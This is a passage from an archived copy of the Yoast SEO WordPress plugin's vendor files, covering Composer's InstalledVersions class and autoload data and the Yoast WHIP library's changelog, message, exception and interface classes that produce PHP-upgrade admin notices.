        $packages = array();
        foreach (self::getInstalled() as $installed) {
            $packages[] = array_keys($installed['versions']);
        }

        if (1 === \count($packages)) {
            return $packages[0];
        }

        return array_keys(array_flip(\call_user_func_array('array_merge', $packages)));
    }

    /**
     * Returns a list of all package names with a specific type e.g. 'library'
     *
     * @param  string   $type
     * @return string[]
     * @psalm-return list<string>
     */
    public static function getInstalledPackagesByType($type)
    {
        $packagesByType = array();

        foreach (self::getInstalled() as $installed) {
            foreach ($installed['versions'] as $name => $package) {
                if (isset($package['type']) && $package['type'] === $type) {
                    $packagesByType[] = $name;
                }
            }
        }

        return $packagesByType;
    }

    /**
     * Checks whether the given package is installed
     *
     * This also returns true if the package name is provided or replaced by another package
     *
     * @param  string $packageName
     * @param  bool   $includeDevRequirements
     * @return bool
     */
    public static function isInstalled($packageName, $includeDevRequirements = true)
    {
        foreach (self::getInstalled() as $installed) {
            if (isset($installed['versions'][$packageName])) {
                return $includeDevRequirements || empty($installed['versions'][$packageName]['dev_requirement']);
            }
        }

        return false;
    }

    /**
     * Checks whether the given package satisfies a version constraint
     *
     * e.g. If you want to know whether version 2.3+ of package foo/bar is installed, you would call:
     *
     *   Composer\InstalledVersions::satisfies(new VersionParser, 'foo/bar', '^2.3')
     *
     * @param  VersionParser $parser      Install composer/semver to have access to this class and functionality
     * @param  string        $packageName
     * @param  string|null   $constraint  A version constraint to check for, if you pass one you have to make sure composer/semver is required by your package
     * @return bool
     */
    public static function satisfies(VersionParser $parser, $packageName, $constraint)
    {
        $constraint = $parser->parseConstraints($constraint);
        $provided = $parser->parseConstraints(self::getVersionRanges($packageName));

        return $provided->matches($constraint);
    }

    /**
     * Returns a version constraint representing all the range(s) which are installed for a given package
     *
     * It is easier to use this via isInstalled() with the $constraint argument if you need to check
     * whether a given version of a package is installed, and not just whether it exists
     *
     * @param  string $packageName
     * @return string Version constraint usable with composer/semver
     */
    public static function getVersionRanges($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            $ranges = array();
            if (isset($installed['versions'][$packageName]['pretty_version'])) {
                $ranges[] = $installed['versions'][$packageName]['pretty_version'];
            }
            if (array_key_exists('aliases', $installed['versions'][$packageName])) {
                $ranges = array_merge($ranges, $installed['versions'][$packageName]['aliases']);
            }
            if (array_key_exists('replaced', $installed['versions'][$packageName])) {
                $ranges = array_merge($ranges, $installed['versions'][$packageName]['replaced']);
            }
            if (array_key_exists('provided', $installed['versions'][$packageName])) {
                $ranges = array_merge($ranges, $installed['versions'][$packageName]['provided']);
            }

            return implode(' || ', $ranges);
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
     */
    public static function getVersion($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            if (!isset($installed['versions'][$packageName]['version'])) {
                return null;
            }

            return $installed['versions'][$packageName]['version'];
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as version, use satisfies or getVersionRanges if you need to know if a given version is present
     */
    public static function getPrettyVersion($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            if (!isset($installed['versions'][$packageName]['pretty_version'])) {
                return null;
            }

            return $installed['versions'][$packageName]['pretty_version'];
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as reference
     */
    public static function getReference($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            if (!isset($installed['versions'][$packageName]['reference'])) {
                return null;
            }

            return $installed['versions'][$packageName]['reference'];
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @param  string      $packageName
     * @return string|null If the package is being replaced or provided but is not really installed, null will be returned as install path. Packages of type metapackages also have a null install path.
     */
    public static function getInstallPath($packageName)
    {
        foreach (self::getInstalled() as $installed) {
            if (!isset($installed['versions'][$packageName])) {
                continue;
            }

            return isset($installed['versions'][$packageName]['install_path']) ? $installed['versions'][$packageName]['install_path'] : null;
        }

        throw new \OutOfBoundsException('Package "' . $packageName . '" is not installed');
    }

    /**
     * @return array
     * @psalm-return array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}
     */
    public static function getRootPackage()
    {
        $installed = self::getInstalled();

        return $installed[0]['root'];
    }

    /**
     * Returns the raw installed.php data for custom implementations
     *
     * @deprecated Use getAllRawData() instead which returns all datasets for all autoloaders present in the process. getRawData only returns the first dataset loaded, which may not be what you expect.
     * @return array[]
     * @psalm-return array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}
     */
    public static function getRawData()
    {
        @trigger_error('getRawData only returns the first dataset loaded, which may not be what you expect. Use getAllRawData() instead which returns all datasets for all autoloaders present in the process.', E_USER_DEPRECATED);

        if (null === self::$installed) {
            // only require the installed.php file if this file is loaded from its dumped location,
            // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
            if (substr(__DIR__, -8, 1) !== 'C') {
                self::$installed = include __DIR__ . '/installed.php';
            } else {
                self::$installed = array();
            }
        }

        return self::$installed;
    }

    /**
     * Returns the raw data of all installed.php which are currently loaded for custom implementations
     *
     * @return array[]
     * @psalm-return list<array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}>
     */
    public static function getAllRawData()
    {
        return self::getInstalled();
    }

    /**
     * Lets you reload the static array from another file
     *
     * This is only useful for complex integrations in which a project needs to use
     * this class but then also needs to execute another project's autoloader in process,
     * and wants to ensure both projects have access to their version of installed.php.
     *
     * A typical case would be PHPUnit, where it would need to make sure it reads all
     * the data it needs from this class, then call reload() with
     * `require $CWD/vendor/composer/installed.php` (or similar) as input to make sure
     * the project in which it runs can then also use this class safely, without
     * interference between PHPUnit's dependencies and the project's dependencies.
     *
     * @param  array[] $data A vendor/composer/installed.php data set
     * @return void
     *
     * @psalm-param array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>} $data
     */
    public static function reload($data)
    {
        self::$installed = $data;
        self::$installedByVendor = array();
    }

    /**
     * @return array[]
     * @psalm-return list<array{root: array{name: string, version: string, reference: string, pretty_version: string, aliases: string[], dev: bool, install_path: string, type: string}, versions: array<string, array{dev_requirement: bool, pretty_version?: string, version?: string, aliases?: string[], reference?: string, replaced?: string[], provided?: string[], install_path?: string, type?: string}>}>
     */
    private static function getInstalled()
    {
        if (null === self::$canGetVendors) {
            self::$canGetVendors = method_exists('Composer\Autoload\ClassLoader', 'getRegisteredLoaders');
        }

        $installed = array();
        $copiedLocalDir = false;

        if (self::$canGetVendors) {
            foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
                if (isset(self::$installedByVendor[$vendorDir])) {
                    $installed[] = self::$installedByVendor[$vendorDir];
                } elseif (is_file($vendorDir.'/composer/installed.php')) {
                    /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
                    $required = require $vendorDir.'/composer/installed.php';
                    self::$installedByVendor[$vendorDir] = $required;
                    $installed[] = $required;
                    if (strtr($vendorDir.'/composer', '\\', '/') === strtr(__DIR__, '\\', '/')) {
                        self::$installed = $required;
                        $copiedLocalDir = true;
                    }
                }
            }
        }

        if (null === self::$installed) {
            // only require the installed.php file if this file is loaded from its dumped location,
            // and not from its source location in the composer/composer package, see https://github.com/composer/composer/issues/9937
            if (substr(__DIR__, -8, 1) !== 'C') {
                /** @var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>} $required */
                $required = require __DIR__ . '/installed.php';
                self::$installed = $required;
            } else {
                self::$installed = array();
            }
        }

        if (self::$installed !== array() && !$copiedLocalDir) {
            $installed[] = self::$installed;
        }

        return $installed;
    }
}
wordpress-seo/vendor/composer/autoload_psr4.php000064400000000463147510273070016006 0ustar00<?php

// autoload_psr4.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);

return array(
    'Yoast\\WHIPv2\\' => array($vendorDir . '/yoast/whip/src'),
    'Composer\\Installers\\' => array($vendorDir . '/composer/installers/src/Composer/Installers'),
);
wordpress-seo/vendor/composer/installed.php000064400000002734147510273070015210 0ustar00<?php return array(
    'root' => array(
        'pretty_version' => 'dev-main',
        'version' => 'dev-main',
        'type' => 'wordpress-plugin',
        'install_path' => __DIR__ . '/../../',
        'aliases' => array(),
        'reference' => '9764252a5957d4fc725a2eb7f22585beee097b73',
        'name' => 'yoast/wordpress-seo',
        'dev' => false,
    ),
    'versions' => array(
        'composer/installers' => array(
            'pretty_version' => 'v2.3.0',
            'version' => '2.3.0.0',
            'type' => 'composer-plugin',
            'install_path' => __DIR__ . '/./installers',
            'aliases' => array(),
            'reference' => '12fb2dfe5e16183de69e784a7b84046c43d97e8e',
            'dev_requirement' => false,
        ),
        'yoast/whip' => array(
            'pretty_version' => '2.0.0',
            'version' => '2.0.0.0',
            'type' => 'library',
            'install_path' => __DIR__ . '/../yoast/whip',
            'aliases' => array(),
            'reference' => '5cfd9c3b433774548ec231fe896d5e85d17ed0d1',
            'dev_requirement' => false,
        ),
        'yoast/wordpress-seo' => array(
            'pretty_version' => 'dev-main',
            'version' => 'dev-main',
            'type' => 'wordpress-plugin',
            'install_path' => __DIR__ . '/../../',
            'aliases' => array(),
            'reference' => '9764252a5957d4fc725a2eb7f22585beee097b73',
            'dev_requirement' => false,
        ),
    ),
);
wordpress-seo/vendor/yoast/whip/CHANGELOG.md000064400000010665147510273070014612 0ustar00# Change Log
All notable changes to this project will be documented in this file.

The format is based on [Keep a Changelog](http://keepachangelog.com/)
and this project adheres to [Semantic Versioning](http://semver.org/).

## [2.0.0] - 2023-12-28
### Added
* Tested against PHP 8.3. [#138], [#150]

### Changed
* All the source classes are now namespaced under `Yoast\WHIPv2`. The version number in the namespaced will be bumped up with every major version. [#157]
    The classes have also been renamed to remove the `Whip_` prefix, and the folders' names have been capitalized to follow the PSR-4 standard.
* The `Requirement` interface now explicitly declares the following two additional methods: `version() ` and `operator()` and classes implementing the interface should ensure these methods are available. [#146]
* General housekeeping.

### Removed
* The deprecated `Whip_WPMessagePresenter:register_hooks()` method has been removed. [#158]

### Fixed
* Compatibility with PHP >= 8.2: prevent a deprecation notice about dynamic properties usage from being thrown in the `RequirementsChecker` class. [#117]
* Security hardening: added sanitization to the notification dismiss action. [#131]

[#158]: https://github.com/Yoast/whip/pull/158
[#157]: https://github.com/Yoast/whip/pull/157
[#150]: https://github.com/Yoast/whip/pull/150
[#146]: https://github.com/Yoast/whip/pull/146
[#138]: https://github.com/Yoast/whip/pull/138
[#131]: https://github.com/Yoast/whip/pull/131
[#117]: https://github.com/Yoast/whip/pull/117

## [1.2.0] - 2021-07-20

:warning: This version drops support for PHP 5.2!

### Changed
* PHP 5.2 is no longer supported. The minimum supported PHP version for the WHIP library is now PHP 5.3. [#96]
* The previous solution to prevent duplicate messages as included in v1.0.2 has been improved upon and made more stable. Props [Drew Jaynes]. [#44]
* The `Whip_InvalidOperatorType::__construct()` method now has a second, optional `$validOperators` parameter. [#62]
    If this parameter is not passed, the default set of valid operators, as was used before, will be used.
* Improved protection against XSS in localizable texts. [#50]
* Improved support for translating localizable texts (I18n). [#59]
* The distributed package will no longer contain development-related files. [#45]
* General housekeeping.

### Deprecated
* The `public` `Whip_WPMessagePresenter:register_hooks()` method has been deprecated in favour of the new `Whip_WPMessagePresenter:registerHooks()`. [#52], [#107]

### Fixed
* The text of the exception message thrown via the `Whip_InvalidType` exception was sometimes garbled. [#61]
* Compatibility with PHP >= 7.4: prevent a deprecation notice from being thrown (fatal error on PHP 8.0). [#88]

[#44]:  https://github.com/Yoast/whip/pull/44
[#45]:  https://github.com/Yoast/whip/pull/45
[#50]:  https://github.com/Yoast/whip/pull/50
[#52]:  https://github.com/Yoast/whip/pull/52
[#59]:  https://github.com/Yoast/whip/pull/59
[#61]:  https://github.com/Yoast/whip/pull/61
[#62]:  https://github.com/Yoast/whip/pull/62
[#88]:  https://github.com/Yoast/whip/pull/88
[#96]:  https://github.com/Yoast/whip/pull/96
[#107]: https://github.com/Yoast/whip/pull/107

[Drew Jaynes]: https://github.com/DrewAPicture

## [1.1.0] - 2017-08-08
### Added
* Allow WordPress messages to be dismissed for a period of 4 weeks.

## [1.0.2] - 2017-06-27
### Fixed
* When multiple plugins containing whip are activated, the message is no longer shown multiple times, props [Andrea](https://github.com/sciamannikoo).

## [1.0.1] - 2017-03-21
### Fixed
* Fix a missing link when the PHP message is switched to the WordPress.org hosting page.

## [1.0.0] - 2017-03-21
### Changed
* Updated screenshot in README

## [1.0.0-beta.2] - 2017-03-11
### Added
* Complete PHP version message

### Changed
* Refactor code architecture.
* Use PHP version constant instead of function.

### Fixed
* Fix broken version reconciliation.

## 1.0.0-beta.1 - 2017-02-21
* Initial pre-release of whip. A package to nudge users to upgrade their software versions.

[Unreleased]: https://github.com/yoast/whip/compare/1.2.0...HEAD
[1.2.0]: https://github.com/yoast/whip/compare/1.1.0...1.2.0
[1.1.0]: https://github.com/yoast/whip/compare/1.0.2...1.1.0
[1.0.2]: https://github.com/yoast/whip/compare/1.0.1...1.0.2
[1.0.1]: https://github.com/yoast/whip/compare/1.0.0...1.0.1
[1.0.0]: https://github.com/yoast/whip/compare/1.0.0-beta.2...1.0.0
[1.0.0-beta.2]: https://github.com/yoast/whip/compare/1.0.0-beta.1...1.0.0-beta.2
wordpress-seo/vendor/yoast/whip/src/WPDismissOption.php000064400000001745147510273070017353 0ustar00<?php

namespace Yoast\WHIPv2;

use Yoast\WHIPv2\Interfaces\DismissStorage;

/**
 * Represents the WordPress option for saving the dismissed messages.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded -- Sniff does not count acronyms correctly.
 */
class WPDismissOption implements DismissStorage {

	/**
	 * WordPress option name.
	 *
	 * @var string
	 */
	protected $optionName = 'whip_dismiss_timestamp';

	/**
	 * Saves the value to the options.
	 *
	 * @param int $dismissedValue The value to save.
	 *
	 * @return bool True when successful.
	 */
	public function set( $dismissedValue ) {
		return \update_option( $this->optionName, $dismissedValue );
	}

	/**
	 * Returns the value of the whip_dismissed option.
	 *
	 * @return int Returns the value of the option or an empty string when not set.
	 */
	public function get() {
		$dismissedOption = \get_option( $this->optionName );
		if ( ! $dismissedOption ) {
			return 0;
		}

		return (int) $dismissedOption;
	}
}
wordpress-seo/vendor/yoast/whip/src/Exceptions/InvalidType.php000064400000001003147510273070020634 0ustar00<?php

namespace Yoast\WHIPv2\Exceptions;

use Exception;

/**
 * Class InvalidType.
 */
class InvalidType extends Exception {

	/**
	 * InvalidType constructor.
	 *
	 * @param string $property     Property name.
	 * @param string $value        Property value.
	 * @param string $expectedType Expected property type.
	 */
	public function __construct( $property, $value, $expectedType ) {
		parent::__construct( \sprintf( '%s should be of type %s. Found %s.', $property, $expectedType, \gettype( $value ) ) );
	}
}
wordpress-seo/vendor/yoast/whip/src/Exceptions/InvalidOperatorType.php000064400000001121147510273070022351 0ustar00<?php

namespace Yoast\WHIPv2\Exceptions;

use Exception;

/**
 * Class InvalidOperatorType.
 */
class InvalidOperatorType extends Exception {

	/**
	 * InvalidOperatorType constructor.
	 *
	 * @param string   $value          Invalid operator.
	 * @param string[] $validOperators Valid operators.
	 */
	public function __construct( $value, $validOperators = array( '=', '==', '===', '<', '>', '<=', '>=' ) ) {
		parent::__construct(
			\sprintf(
				'Invalid operator of %s used. Please use one of the following operators: %s',
				$value,
				\implode( ', ', $validOperators )
			)
		);
	}
}
wordpress-seo/vendor/yoast/whip/src/Exceptions/EmptyProperty.php000064400000000535147510273070021260 0ustar00<?php

namespace Yoast\WHIPv2\Exceptions;

use Exception;

/**
 * Class EmptyProperty.
 */
class EmptyProperty extends Exception {

	/**
	 * EmptyProperty constructor.
	 *
	 * @param string $property Property name.
	 */
	public function __construct( $property ) {
		parent::__construct( \sprintf( '%s cannot be empty.', (string) $property ) );
	}
}
wordpress-seo/vendor/yoast/whip/src/Exceptions/InvalidVersionComparisonString.php000064400000001302147510273070024564 0ustar00<?php

namespace Yoast\WHIPv2\Exceptions;

use Exception;

/**
 * Exception for an invalid version comparison string.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded -- Name should be descriptive and was historically (before namespacing) already set to this.
 */
class InvalidVersionComparisonString extends Exception {

	/**
	 * InvalidVersionComparisonString constructor.
	 *
	 * @param string $value The passed version comparison string.
	 */
	public function __construct( $value ) {
		parent::__construct(
			\sprintf(
				'Invalid version comparison string. Example of a valid version comparison string: >=5.3. Passed version comparison string: %s',
				$value
			)
		);
	}
}
wordpress-seo/vendor/yoast/whip/src/MessageFormatter.php000064400000001507147510273070017544 0ustar00<?php

namespace Yoast\WHIPv2;

/**
 * A helper class to format messages.
 */
final class MessageFormatter {

	/**
	 * Wraps a piece of text in HTML strong tags.
	 *
	 * @param string $toWrap The text to wrap.
	 *
	 * @return string The wrapped text.
	 */
	public static function strong( $toWrap ) {
		return '<strong>' . $toWrap . '</strong>';
	}

	/**
	 * Wraps a piece of text in HTML p tags.
	 *
	 * @param string $toWrap The text to wrap.
	 *
	 * @return string The wrapped text.
	 */
	public static function paragraph( $toWrap ) {
		return '<p>' . $toWrap . '</p>';
	}

	/**
	 * Wraps a piece of text in HTML p and strong tags.
	 *
	 * @param string $toWrap The text to wrap.
	 *
	 * @return string The wrapped text.
	 */
	public static function strongParagraph( $toWrap ) {
		return self::paragraph( self::strong( $toWrap ) );
	}
}
wordpress-seo/vendor/yoast/whip/src/Presenters/WPMessagePresenter.php000064400000005075147510273070022155 0ustar00<?php

namespace Yoast\WHIPv2\Presenters;

use Yoast\WHIPv2\Interfaces\Message;
use Yoast\WHIPv2\Interfaces\MessagePresenter;
use Yoast\WHIPv2\MessageDismisser;
use Yoast\WHIPv2\WPMessageDismissListener;

/**
 * A message presenter to show a WordPress notice.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded -- Sniff does not count acronyms correctly.
 */
class WPMessagePresenter implements MessagePresenter {

	/**
	 * The string to show to dismiss the message.
	 *
	 * @var string
	 */
	private $dismissMessage;

	/**
	 * The message to be displayed.
	 *
	 * @var Message
	 */
	private $message;

	/**
	 * Dismisser object.
	 *
	 * @var MessageDismisser
	 */
	private $dismisser;

	/**
	 * WPMessagePresenter constructor.
	 *
	 * @param Message          $message        The message to use in the presenter.
	 * @param MessageDismisser $dismisser      Dismisser object.
	 * @param string           $dismissMessage The copy to show to dismiss the message.
	 */
	public function __construct( Message $message, MessageDismisser $dismisser, $dismissMessage ) {
		$this->message        = $message;
		$this->dismisser      = $dismisser;
		$this->dismissMessage = $dismissMessage;
	}

	/**
	 * Registers hooks to WordPress.
	 *
	 * This is a separate function so you can control when the hooks are registered.
	 *
	 * @return void
	 */
	public function registerHooks() {
		\add_action( 'admin_notices', array( $this, 'renderMessage' ) );
	}

	/**
	 * Renders the messages present in the global to notices.
	 *
	 * @return void
	 */
	public function renderMessage() {
		$dismissListener = new WPMessageDismissListener( $this->dismisser );
		$dismissListener->listen();

		if ( $this->dismisser->isDismissed() ) {
			return;
		}

		$dismissButton = \sprintf(
			'<a href="%2$s">%1$s</a>',
			\esc_html( $this->dismissMessage ),
			\esc_url( $dismissListener->getDismissURL() )
		);

		// phpcs:disable WordPress.Security.EscapeOutput.OutputNotEscaped -- output correctly escaped directly above and in the `kses()` method.
		\printf(
			'<div class="error"><p>%1$s</p><p>%2$s</p></div>',
			$this->kses( $this->message->body() ),
			$dismissButton
		);
		// phpcs:enable
	}

	/**
	 * Removes content from the message that we don't want to show.
	 *
	 * @param string $message The message to clean.
	 *
	 * @return string The cleaned message.
	 */
	public function kses( $message ) {
		return \wp_kses(
			$message,
			array(
				'a'      => array(
					'href'   => true,
					'target' => true,
				),
				'strong' => true,
				'p'      => true,
				'ul'     => true,
				'li'     => true,
			)
		);
	}
}
wordpress-seo/vendor/yoast/whip/src/Messages/UpgradePhpMessage.php000064400000010160147510273070021402 0ustar00<?php

namespace Yoast\WHIPv2\Messages;

use Yoast\WHIPv2\Host;
use Yoast\WHIPv2\Interfaces\Message;
use Yoast\WHIPv2\MessageFormatter;

/**
 * Class UpgradePhpMessage
 */
class UpgradePhpMessage implements Message {

	/**
	 * The text domain to use for the translations.
	 *
	 * @var string
	 */
	private $textdomain;

	/**
	 * UpgradePhpMessage constructor.
	 *
	 * @param string $textdomain The text domain to use for the translations.
	 */
	public function __construct( $textdomain ) {
		$this->textdomain = $textdomain;
	}

	/**
	 * Retrieves the message body to display.
	 *
	 * @return string The message to display.
	 */
	public function body() {
		$textdomain = $this->textdomain;

		$message = array();

		$message[] = MessageFormatter::strongParagraph( \__( 'Your site could be faster and more secure with a newer PHP version.', $textdomain ) ) . '<br />';
		$message[] = MessageFormatter::paragraph( \__( 'Hey, we\'ve noticed that you\'re running an outdated version of PHP. PHP is the programming language that WordPress and all its plugins and themes are built on. The version that is currently used for your site is no longer supported. Newer versions of PHP are both faster and more secure. In fact, your version of PHP no longer receives security updates, which is why we\'re sending you to this notice.', $textdomain ) );
		$message[] = MessageFormatter::paragraph( \__( 'Hosts have the ability to update your PHP version, but sometimes they don\'t dare to do that because they\'re afraid they\'ll break your site.', $textdomain ) );
		$message[] = MessageFormatter::strongParagraph( \__( 'To which version should I update?', $textdomain ) ) . '<br />';
		$message[] = MessageFormatter::paragraph(
			\sprintf(
				/* translators: 1: link open tag; 2: link close tag. */
				\__( 'You should update your PHP version to either 5.6 or to 7.0 or 7.1. On a normal WordPress site, switching to PHP 5.6 should never cause issues. We would however actually recommend you switch to PHP7. There are some plugins that are not ready for PHP7 though, so do some testing first. We have an article on how to test whether that\'s an option for you %1$shere%2$s. PHP7 is much faster than PHP 5.6. It\'s also the only PHP version still in active development and therefore the better option for your site in the long run.', $textdomain ),
				'<a href="https://yoa.st/wg" target="_blank">',
				'</a>'
			)
		);

		if ( Host::name() !== '' ) {
			$hostMessage = new HostMessage( 'WHIP_MESSAGE_FROM_HOST_ABOUT_PHP', $textdomain );
			$message[]   = $hostMessage->body();
		}

		$hostingPageUrl = Host::hostingPageUrl();

		$message[] = MessageFormatter::strongParagraph( \__( 'Can\'t update? Ask your host!', $textdomain ) ) . '<br />';

		if ( \function_exists( 'apply_filters' ) && \apply_filters( Host::HOSTING_PAGE_FILTER_KEY, false ) ) {
			$message[] = MessageFormatter::paragraph(
				\sprintf(
					/* translators: 1: link open tag; 2: link close tag; 3: link open tag. */
					\__( 'If you cannot upgrade your PHP version yourself, you can send an email to your host. We have %1$sexamples here%2$s. If they don\'t want to upgrade your PHP version, we would suggest you switch hosts. Have a look at one of the recommended %3$sWordPress hosting partners%2$s.', $textdomain ),
					'<a href="https://yoa.st/wh" target="_blank">',
					'</a>',
					\sprintf( '<a href="%1$s" target="_blank">', \esc_url( $hostingPageUrl ) )
				)
			);
		}
		else {
			$message[] = MessageFormatter::paragraph(
				\sprintf(
					/* translators: 1: link open tag; 2: link close tag; 3: link open tag. */
					\__( 'If you cannot upgrade your PHP version yourself, you can send an email to your host. We have %1$sexamples here%2$s. If they don\'t want to upgrade your PHP version, we would suggest you switch hosts. Have a look at one of our recommended %3$sWordPress hosting partners%2$s, they\'ve all been vetted by the Yoast support team and provide all the features a modern host should provide.', $textdomain ),
					'<a href="https://yoa.st/wh" target="_blank">',
					'</a>',
					\sprintf( '<a href="%1$s" target="_blank">', \esc_url( $hostingPageUrl ) )
				)
			);
		}

		return \implode( "\n", $message );
	}
}
wordpress-seo/vendor/yoast/whip/src/Messages/HostMessage.php000064400000002424147510273070020264 0ustar00<?php

namespace Yoast\WHIPv2\Messages;

use Yoast\WHIPv2\Host;
use Yoast\WHIPv2\Interfaces\Message;
use Yoast\WHIPv2\MessageFormatter;

/**
 * Class HostMessage.
 */
class HostMessage implements Message {

	/**
	 * Text domain to use for translations.
	 *
	 * @var string
	 */
	private $textdomain;

	/**
	 * The environment key to use to retrieve the message from.
	 *
	 * @var string
	 */
	private $messageKey;

	/**
	 * Message constructor.
	 *
	 * @param string $messageKey The environment key to use to retrieve the message from.
	 * @param string $textdomain The text domain to use for translations.
	 */
	public function __construct( $messageKey, $textdomain ) {
		$this->textdomain = $textdomain;
		$this->messageKey = $messageKey;
	}

	/**
	 * Retrieves the message body.
	 *
	 * @return string The message body.
	 */
	public function body() {
		$message = array();

		$message[] = MessageFormatter::strong( $this->title() ) . '<br />';
		$message[] = MessageFormatter::paragraph( Host::message( $this->messageKey ) );

		return \implode( "\n", $message );
	}

	/**
	 * Renders the message title.
	 *
	 * @return string The message title.
	 */
	public function title() {
		/* translators: 1: name. */
		return \sprintf( \__( 'A message from %1$s', $this->textdomain ), Host::name() );
	}
}
wordpress-seo/vendor/yoast/whip/src/Messages/InvalidVersionRequirementMessage.php000064400000002446147510273070024530 0ustar00<?php

namespace Yoast\WHIPv2\Messages;

use Yoast\WHIPv2\Interfaces\Message;
use Yoast\WHIPv2\VersionRequirement;

/**
 * Class Whip_InvalidVersionMessage.
 *
 * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded -- Name should be descriptive and was historically (before namespacing) already set to this.
 */
class InvalidVersionRequirementMessage implements Message {

	/**
	 * Object containing the version requirement for a component.
	 *
	 * @var VersionRequirement
	 */
	private $requirement;

	/**
	 * Detected version requirement or -1 if not found.
	 *
	 * @var string|int
	 */
	private $detected;

	/**
	 * InvalidVersionRequirementMessage constructor.
	 *
	 * @param VersionRequirement $requirement Object containing the version requirement for a component.
	 * @param string|int         $detected    Detected version requirement or -1 if not found.
	 */
	public function __construct( VersionRequirement $requirement, $detected ) {
		$this->requirement = $requirement;
		$this->detected    = $detected;
	}

	/**
	 * Retrieves the message body.
	 *
	 * @return string Message.
	 */
	public function body() {
		return \sprintf(
			'Invalid version detected for %s. Found %s but expected %s.',
			$this->requirement->component(),
			$this->detected,
			$this->requirement->version()
		);
	}
}
wordpress-seo/vendor/yoast/whip/src/Messages/NullMessage.php000064400000000413147510273070020255 0ustar00<?php

namespace Yoast\WHIPv2\Messages;

use Yoast\WHIPv2\Interfaces\Message;

/**
 * Class NullMessage.
 */
class NullMessage implements Message {

	/**
	 * Retrieves the message body.
	 *
	 * @return string Message.
	 */
	public function body() {
		return '';
	}
}
wordpress-seo/vendor/yoast/whip/src/Messages/BasicMessage.php000064400000002145147510273070020370 0ustar00<?php

namespace Yoast\WHIPv2\Messages;

use Yoast\WHIPv2\Exceptions\EmptyProperty;
use Yoast\WHIPv2\Exceptions\InvalidType;
use Yoast\WHIPv2\Interfaces\Message;

/**
 * Class BasicMessage.
 */
class BasicMessage implements Message {

	/**
	 * Message body.
	 *
	 * @var string
	 */
	private $body;

	/**
	 * Message constructor.
	 *
	 * @param string $body Message body.
	 */
	public function __construct( $body ) {
		$this->validateParameters( $body );

		$this->body = $body;
	}

	/**
	 * Retrieves the message body.
	 *
	 * @return string Message.
	 */
	public function body() {
		return $this->body;
	}

	/**
	 * Validates the parameters passed to the constructor of this class.
	 *
	 * @param string $body Message body.
	 *
	 * @return void
	 *
	 * @throws EmptyProperty When the $body parameter is empty.
	 * @throws InvalidType   When the $body parameter is not of the expected type.
	 */
	private function validateParameters( $body ) {
		if ( empty( $body ) ) {
			throw new EmptyProperty( 'Message body' );
		}

		if ( ! \is_string( $body ) ) {
			throw new InvalidType( 'Message body', $body, 'string' );
		}
	}
}
wordpress-seo/vendor/yoast/whip/src/Interfaces/DismissStorage.php000064400000000567147510273070021324 0ustar00<?php

namespace Yoast\WHIPv2\Interfaces;

/**
 * Interface DismissStorage.
 */
interface DismissStorage {

	/**
	 * Saves the value.
	 *
	 * @param int $dismissedValue The value to save.
	 *
	 * @return bool True when successful.
	 */
	public function set( $dismissedValue );

	/**
	 * Returns the value.
	 *
	 * @return int The stored value.
	 */
	public function get();
}
wordpress-seo/vendor/yoast/whip/src/Interfaces/MessagePresenter.php000064400000000314147510273070021626 0ustar00<?php

namespace Yoast\WHIPv2\Interfaces;

/**
 * Interface MessagePresenter.
 */
interface MessagePresenter {

	/**
	 * Renders the message.
	 *
	 * @return void
	 */
	public function renderMessage();
}
wordpress-seo/vendor/yoast/whip/src/Interfaces/Listener.php000064400000000327147510273070020143 0ustar00<?php

namespace Yoast\WHIPv2\Interfaces;

/**
 * Interface Listener.
 */
interface Listener {

	/**
	 * Method that should implement the listen functionality.
	 *
	 * @return void
	 */
	public function listen();
}
